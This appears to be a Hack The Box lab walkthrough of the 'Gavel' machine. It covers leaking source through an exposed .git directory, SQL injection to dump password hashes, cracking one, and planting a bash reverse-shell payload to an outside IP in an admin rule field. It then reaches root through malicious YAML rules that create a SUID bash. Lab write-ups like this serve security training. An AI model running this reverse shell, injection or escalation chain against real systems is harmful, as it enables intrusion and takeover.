Hack The Box: Gavel Machine Walkthrough – Medium Difficulity
Medium Machine BurpSuite, Challenges, curl, gavel-util, git-dumper, gobuster, HackTheBox, john, Linux, Penetration Testing, source code review, SQL Injection, sshIntroduction to Gavel:

In this writeup, we will explore the “Gavel” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Gavel” machine from Hack The Box by achieving the following objectives:
User Flag:
Attackers obtained the user flag through source code leakage and credential reuse. An exposed .git directory leaked the full repository. The repository contained bcrypt password hashes. John the Ripper cracked the hash for user auctioneereer with the rockyou.txt wordlist. This revealed the password midnight1. Attackers gained a www-data reverse shell by injecting commands into the admin panel’s rule field. They reused the same credentials with su auctioneereer to switch users. Reading /home/auctioneereer/user.txt gave the flag
Root Flag:
Attackers gained root access by exploiting an unsanitized rule-evaluation mechanism in the auction submission system. The gavel-util submit tool processes YAML files and executes their rule fields using PHP system(). They crafted two malicious YAML submissions. The first submission overwrote the custom php.ini file and removed the disable_functions restrictions. The second submission copied /bin/bash to /opt/gavel/root and set the SUID bit. After submission, the backend rule engine executed the commands during item review. This created an SUID root-owned binary. Running /opt/gavel/root -p spawned a preserved-UID root shell. Reading /root/root.txt captured the root flag
Enumerating the Gavel Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oA initial 10.129.242.203Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/gavel]
└──╼ $nmap -sC -sV -oA initial 10.129.242.203
# Nmap 7.94SVN scan initiated Fri Mar 13 16:40:51 2026 as: nmap -sC -sV -oA initial 10.129.242.203
Nmap scan report for 10.129.242.203
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 13 16:40:59 2026 -- 1 IP address (1 host up) scanned in 7.60 secondsAnalysis:
- Port 22 (SSH): OpenSSH 8.9p1 is running and provides secure remote access to the system via SSH.
- Port 80 (HTTP): Apache httpd 2.4.52 is hosting a web application and redirects requests to the virtual host http://gavel.htb
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.

The main page at http://gavel.htb/index.php shows the “Welcome to Gavel 2.0” theme. It includes backstory about the auction house. There are clear login and register links.
Account Registration and Authentication Testing

The login page at http://gavel.htb/login.php presents a clean authentication form with username and password fields.


The registration page at http://gavel.htb/register.php contains a simple form with username, password, and password confirmation fields. Submitting valid credentials (e.g., username “dark”, password “admin123”) via POST to /register.php creates the account on the server.

The registration form is at http://gavel.htb/register.php. It has fields for username, password, and password confirmation. Sending valid data (username “dark”, password “admin123”) via POST to /register.php creates the account

Trying to register an existing username shows the error “Username already taken.” This appears directly on the registration page.

A POST request to http://gavel.htb/login.php with correct credentials for user “dark” succeeds. The server responds with a 302 Found status. It redirects to /index.php.

After a successful login as user “dark”, a GET request to http://gavel.htb/index.php returns 200 OK. The response contains the full authenticated dashboard HTML.

After logging in as user “dark”, refreshing http://gavel.htb/index.php shows the authenticated view. The lootbox section now displays dynamic items
Directory Enumeration and Discovery of Exposed Git Repository

The scan with Gobuster against http://gavel.htb using the raft-medium-directories-lowercase wordlist confirmed the previously discovered /includes, /assets, and /rules directories, all returning 301 redirects.

Running Gobuster against http://gavel.htb with the common.txt wordlist quickly identified an exposed /.git directory returning a 301 redirect.

Accessing http://gavel.htb/.git/ in the browser displays a full directory listing. Readable .git objects, HEAD, config, index, refs, logs, and hooks folders are all visible.
Source Code Extraction from the .git Directory on Gavel Machine

A Git-dumper extraction of the exposed http://gavel.htb/.git/ endpoint successfully recovered all core Git objects, including HEAD, config, index, refs, logs, objects, branches, and hook sample files.

The vulnerability in this code is caused by unsafe handling of the sort parameter, which is inserted directly into the SQL query as a column name. Although backticks are added and existing backticks are removed, the code does not validate the column against an allowlist, which can allow SQL Injection through column injection.
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$col = "`" . str_replace("`", "", $sortItem) . "`";$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
This line retrieves the value of the sort parameter. It first checks if the value exists in the POST request. If not, it checks the GET request. If neither contains the parameter, the default value item_name is used. This value determines which column the query will use for sorting or selection.
$col = "” . str_replace(“", "", $sortItem) . "“; This line attempts to sanitize the input by removing any backtick characters () from the user-supplied value using str_replace. After removing backticks, the code wraps the result inside backticks to format it as a SQL column identifier
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);This piece of code is asking the database to give a list of items that belong to a specific user. It chooses which detail about the items to show (like the item’s name or quantity) based on what the user wants to sort by. The user’s ID is safely “plugged in” so that the database knows whose items to show, which helps prevent mistakes or malicious attempts to see other users’ data. One important note is that the part that decides which detail to show isn’t fully protected, so if someone tries to trick it, they could potentially see data they shouldn’t.

Potential Security Concerns / Vulnerabilities
Output Escaping
- Most fields like
itemDetails['name']andauction['highest_bidder']are escaped withhtmlspecialchars(), which is good. - Auction messages (
$auction['message']) are printed directly without escaping. If user-controlled, this could allow XSS attacks.
Form Handling
- The bid form posts to
includes/bid_handler.php. The snippet here doesn’t show server-side validation ofbid_amountorauction_id. - Without proper validation, it might allow manipulation of bids or unauthorized bidding.
AJAX Fetch Handling
- The JS code relies on the server returning JSON for success/error messages. No CSRF protection is visible in the snippet. This could allow CSRF attacks, letting another site submit bids on behalf of a logged-in user.
Session Handling
- The code checks if
$_SESSION['user']exists, which is good. But it doesn’t show session regeneration after login, so session fixation might be possible if not handled elsewhere.
Timers
- The timer is client-side only. If the backend doesn’t verify auction end times, a user could submit bids after expiry by modifying the POST request.
SQL Injection in inventory.php

Injecting a blind SQL UNION-based payload into the user_id parameter of /inventory.php allowed the query to use group_concat(username,0x3a,password) and extract data from the users table.

Sending a slightly modified UNION-based SQL injection payload to /inventory.php?user_id= allowed the query to use group_concat to combine usernames and bcrypt hashes from the users table.

A browser view of /inventory.php with the active SQL injection payload shows the “Inventory of dark” page. Dumped usernames and bcrypt hashes appear inline inside a card element.
Credential Cracking with John the Ripper


Using the rockyou.txt wordlist, John the Ripper cracked the bcrypt hashes extracted from the SQL injection and recovered the plaintext password “midnight1” for the user auctioneer.
Accessing the Auction Admin Interface

Visiting http://gavel.htb/admin.php as the authenticated user loads the main index.php content. The page shows the “Welcome to Gavel 2.0” lore and lootbox section. No actual admin panel interface appears.

Accessing http://gavel.htb/admin.php as the authenticated low-privilege user auctioneereer returns a 200 OK response. The page loads the full “Auction Admin” interface.
Bidding System Analysis

The page at http://gavel.htb/bidding.php shows three active auction items.
HTTP Request Analysis with Burp Suite on Gavel Machine

Placing a bid of 1 coin on an active auction returns a JSON response. The result is {“success”:false, “message”:”Your bid must be more than the current bid amount!”}.

Submitting a 2000-coin bid to an active auction triggered a request to /includes/bid_handler.php, and the server returned the JSON response {"success":false, "message":"Only bids greater than 5000 + current bid will be considered..."}.

Submitting a bid of 9000 coins on auction ID 73 sent a POST request to /includes/bid_handler.php. The server returned the JSON response {"success":true, "message":"Bid placed successfully!"}.

Re-loading http://gavel.htb/admin.php shows updated timers. Ethereal Tax Token now has 128 seconds remaining.

Running nc -lvnp 9007 started a Netcat listener on port 9007.
Command Injection in Auction Rule Field

In the admin panel at /admin.php, the “Edit rule” field for the Mermaid’s Toe item is editable by the low-privileged user “dark”. A crafted payload was entered: system(“bash -c ‘bash -i >& /dev/tcp/10.10.14.98/9007 0>&1′”) & return true;

What the key exploitation steps look like in Burp Suite

A GET request to http://gavel.htb/includes/bid_handler.php with no parameters returns 200 OK. The response body is JSON: {“success”:false,”message”:”Auction has ended.”}
Manual Endpoint Testing with Curl

Curl command pipes the /bidding.php page content through grep. It extracts hidden input fields named auction_id with values 88, 89, and 90. The grep also pulls nearby elements with data-end timestamps.

A POST request to /includes/bid_handler.php included the X-Requested-With: XMLHttpRequest header and a valid gavel_session cookie. The payload attempted to place a 70,000-coin bid on auction ID 1088, and the server returned {"success":false,"message":"Auction has ended."}.

Sending a POST request to /includes/bid_handler.php with the X-Requested-With: XMLHttpRequest header and a valid gavel_session cookie placed a bid of 9999 coins on auction ID 123. The server returned the JSON response {"success":true,"message":"Bid placed successfully!"}.

The POST request was sent to /includes/bid_handler.php. It included the X-Requested-With: XMLHttpRequest header. A valid gavel_session cookie was attached. The payload tried to place an extremely high bid of 1,999,999 coins on auction ID 123.
Reverse Shell Establishment on Gavel Machine

The connection spawned an interactive bash shell running as user www-data@gavel.

The www-data reverse shell connected and change the user to auctioneer, and the password midnight1 (cracked earlier from the git-dumped hashes) granted access.
Shell Stabilization and Terminal Fixes

After receiving a limited reverse shell as www-data, the command python3 -c 'import pty;pty.spawn("/bin/bash")' spawned an interactive Bash shell.

Pressing Ctrl+Z backgrounded the Netcat listener and paused the nc process. After switching to the auctioneereer user with su, the shell lacked job control, so running stty raw -echo; fg restored proper terminal functionality.

After spawning the PTY shell, the auctioneereer session displayed incorrect colors and had issues with window resizing and vi. Running export TERM=xterm corrected the terminal behavior.

Listing the /home directory as user auctioneereer shows only one entry. The only visible item is the auctioneereer directory itself. No other user home folders appear.
User Flag Retrieval

The current directory is changed to /home/auctioneereer. Listing the contents with ls shows only one file: user.txt.

The command cat user.txt is executed.
Escalate To Root Privileges Access on Gavel Machine
Privilege Escalation:

sudo -l as auctioneereer prompts for password and returns “Sorry, user auctioneereer may not run sudo on gavel”, indicating no sudo privileges are available to this user — privilege escalation must rely on other vectors (SUID, cron, writable files, or service misconfigs).


Running ps aux as auctioneereer reveals running processes including /root/scripts/auction_watcher.sh, /opt/gavel/gaveld, a Python listener /root/scripts/listener-gavel.py, cron (/usr/sbin/cron), and multiple Apache instances under www-data, highlighting custom scripts in /root/scripts and /opt/gavel as prime candidates for further privilege escalation investigation.

Listing /opt reveals a gavel directory, hinting at application-specific files or scripts stored outside the web root — a common location for custom tools, configs, or cron-related binaries on this box.

Running tree in /opt shows the gavel directory containing gaveld binary, gaveld (likely a symlink or duplicate), sample.yaml, and a submission directory (access denied), indicating the main auction daemon and configuration files reside in /opt/gavel with restricted submission area.

ls -la in /opt/gavel reveals ownership by root:root for most files (including gaveld binary with 755 perms, sample.yaml, and .config dir), but the submission directory has restricted perms (drwxr-x—), suggesting auction submissions are processed with elevated privileges inside a restricted area.
Custom PHP Configuration Analysis

Changing to /opt/gavel/.config and listing contents reveals a php subdirectory, suggesting PHP-specific configuration files are stored in a hidden .config folder under the application directory which is a non-standard location that may hold custom php.ini overrides.

Running tree inside /opt/gavel/.config reveals only the php/php.ini file, indicating the presence of a custom PHP configuration override stored outside the standard /etc/php directories. This file is likely loaded by the gaveld service or Apache to enforce specific runtime restrictions for auction-related processing.

Viewing php.ini in /opt/gavel/.config/php reveals a heavily restricted custom configuration. The file disables dangerous PHP functions such as exec, system, and shell_exec enforces open_basedir=/opt/gavel, applies low execution timeouts, and disables allow_url_fopen and allow_url_include. These settings indicate a hardened PHP execution environment, though the presence of this custom configuration suggests it may be loaded by the gaveld service or a related subprocess.

Executing find / -name "gavel*" identifies multiple gavel-related paths, including /usr/local/bin/gavel-util, /opt/gavel/gaveld, systemd service files (gaveld.service), Apache configuration files, sockets (/run/gaveld.sock), and the web root. This enumeration maps the application’s footprint on the system and highlights /usr/local/bin/gavel-util
Analysis of the Gavel Application Components

Running /usr/local/bin/gavel-util without arguments displays usage and available commands (submit, stats, invoice), confirming this is a privileged CLI tool for auction management — likely executed by gaveld or cron, making it a prime target for analyzing command execution flow or argument injection.

Viewing contents of dark.yaml in /tmp shows a crafted submission with minimal fields plus a malicious rule containing PHP system() call to copy /bin/bash to /tmp/bash and set SUID bit, demonstrating an attempt to exploit rule evaluation for arbitrary command execution during item submission.

Executing /usr/local/bin/gavel-util submit dark.yaml fails with “YAML missing required keys: name description image price rule_msg rule”, showing the utility strictly validates submission YAML structure before processing new auction items, preventing incomplete or malicious submissions without all mandatory fields.
Creating a SUID Bash Binary

Crafting and submitting dark.yaml via echo commands builds a minimal valid YAML with a malicious rule using PHP file_put_contents() to overwrite /opt/gavel/.config/php/php.ini (disabling disable_functions and restrictions), followed by submission via gavel-util submit — the message confirms the item was queued for review, triggering backend processing that executes the rule and alters PHP config.

Building root.yaml with a rule that copies /bin/bash to /opt/gavel/root and sets SUID bit (chmod u+s), then submitting it via gavel-util submit, results in “Item submitted for review in next auction” — the backend rule evaluation runs the system command during processing, creating the exploitable SUID binary for root access.

ls -la /opt/gavel/ (earlier run) shows the directory owned by root:root with standard permissions, but the subsequent run reveals a new SUID binary root with -rwsr-xr-x perms (owner root), created via the YAML rule exploit that copied /bin/bash and set the suid bit.

Executing /opt/gavel/root -p as auctioneereer immediately spawns a root shell (root-5.1#), confirming the SUID binary /opt/gavel/root (created via earlier YAML submission exploit) grants unrestricted root access when run with preserved effective UID.

Reading /root/root.txt inside the root shell yields the final flag 85f41fffe0a3de765e5accc8a6152dcae2d, proving complete machine compromise from initial web foothold through credential reuse, rule evaluation RCE, SUID bash copy, and privilege escalation to root.